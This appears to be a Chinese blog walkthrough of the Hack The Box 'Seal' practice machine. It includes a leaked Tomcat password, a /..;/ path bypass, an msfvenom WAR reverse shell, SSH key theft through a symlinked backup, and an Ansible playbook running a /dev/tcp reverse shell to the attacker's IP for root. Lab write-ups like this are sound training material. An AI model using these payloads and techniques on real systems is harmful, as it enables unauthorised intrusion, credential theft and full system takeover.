Hack The Box – Seal 靶场渗透

发布于 2021-11-15  259 次阅读


Hack The Box 是一个比较热门的国外靶机练习平台,里面有许多搭建好的靶场提供给网络安全爱好者练习渗透测试,靶场环境偏向于生活实际中渗透测试环境,这对提升内网渗透技术有很好的帮助。

一、环境

靶场IP:10.10.10.250

Kali ip:10.10.16.5

二、信息收集

用nmap扫描主机端口,发现主机开放了22、443、8080端口:

nmap -sC -sV -T4 10.10.10.250

nmap扫描结果

访问10.10.10.250:8080,发现一个注册页面,注册一个账号登录后,从页面提示可以知道,这里是用tomcat在443端口搭建管理的代码。

查找敏感文件信息,发现tomcat的user.xml历史文件存在这样一条记录:

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

里面可能是tomcat的账号密码。

user.xml历史更新记录
tomcat账号密码

用ip带443端口打不开网页,所以在hosts里写入了一条域名解析记录:

echo 10.10.10.250 seal.com >> /etc/hosts

访问https://seal.com,页面显示如下:

443端口访问显示的页面

因为之前发现中间件有tomcat,所以尝试访问下tomcat默认登录目录/manager/status

登录tomcat

尝试用前面得到的用户名和密码登录,结果成功登录tomcat:

登录成功

尝试访问管理界面/manager/html发现无法访问,显示权限不够,但发现了一个解析漏洞,可以通过/manager/status/..;/html绕过限制。

这个漏洞的原理就是当tomcat和反向代理(比如nginx)一起使用的时候,会出现标准化不一致的情况,tomcat会将序列/..;/转化为/../并将路径规范化,而反向代理不会规范此序列并将其按原样发送到Apache Tomcat。

上传位置

三、Getshell

通过Burpsuite修改路径,利用这个绕过漏洞,尝试在文件上传这里打包一个war包的shell上传:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.5 LPORT=4444 -f war -o shell.war

生成一个war包的shell

原请求包为:

原请求包

修改路径后的请求包为:

修改后的请求包

显示上传成功,在页面这里能看到上传的位置:

监听4444端口,访问https://seal.com/shell/,成功反弹shell:

反弹shell成功

收集下信息,发现luis用户目录下存在user.txt文件,但目前权限只是tomcat,没有访问权限,不能读取user.txt,所以下一步要做的是想办法提权。

四、提权

4.1 获取 user flag

在opt/backups目录下发现备份和playbook文件夹,在网上搜索了一下ansible playbook实例教程的相关资料,发现这个yml文件是在做文件备份作用。

发现playbook

所以尝试使用软链接把luis用户的ssh密钥放到uploads目录下,然后就可以在/opt/backup/archives目录下看到备份文件:

ln -s ~/home/luis/.ssh/id_rsa   /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads

cp backup-2021-11-08-09:36:33.gz /dev/shm            // 拷贝到另一个地方,防止备份被覆盖

cd /dev/shm

mv backup-2021-11-08-09:36:33.gz backup.tar.gz           //重命名

tar -xvf backup.tar.gz

解压之后就可以从中得到luis用户ssh的私钥,如下图所示:

成功获取到ssh私钥

这里有两个坑要注意:

1. 首先私钥文件的权限要设置成600,否则登录时会提示有权限问题,还要输入密码。

2. 密钥文件的格式问题——鼠标选中复制的时候,可能移动到“KEY——”就结束了,这会导致格式不对,在文件末尾还要加个换行。

chmod 600 id_rsa

ssh -i id_rsa [email protected]

成功登录ssh

成功登录进luis用户的ssh账号,获取到user.txt内容。

成功获取user.txt内的flag

4.2 获取root flag

sudo -l 发现是ALL,不需要密码就可执行/usr/bin/ansible-playbook

通过之前查阅的playbook资料,发现可以构造一个yml文件来执行命令,这里执行一个发弹shell命令:

- name: command execution

  hosts: localhost

  tasks:

    - name: elevated privileges

      command: "bash -c 'exec bash -i &>/dev/tcp/10.10.16.5/5000 <&1'"

构造root.yml

监听5000端口,使用/usr/bin/ansible-playbook执行root.yml:

成功获取到root权限,读取到root.txt内容。

成功获取root.txt内的flag

后文

再次复现实验过程的时候发现使用Nmap扫描端口时,结果中显示443端口绑定的域名是seal.htb,所以后面的hosts里IP绑定的域名写入的应该是seal.htb,而不是自己随便取的seal.com,但这靶场对这并没有考点,所以问题不大。

本站文章由渡缘人原创,如若转载请注明原文及出处:
https://www.hygrey.com/hack-the-box-seal.html

万物皆有裂痕,那正是光照进来的地方
最后更新于 2023-09-15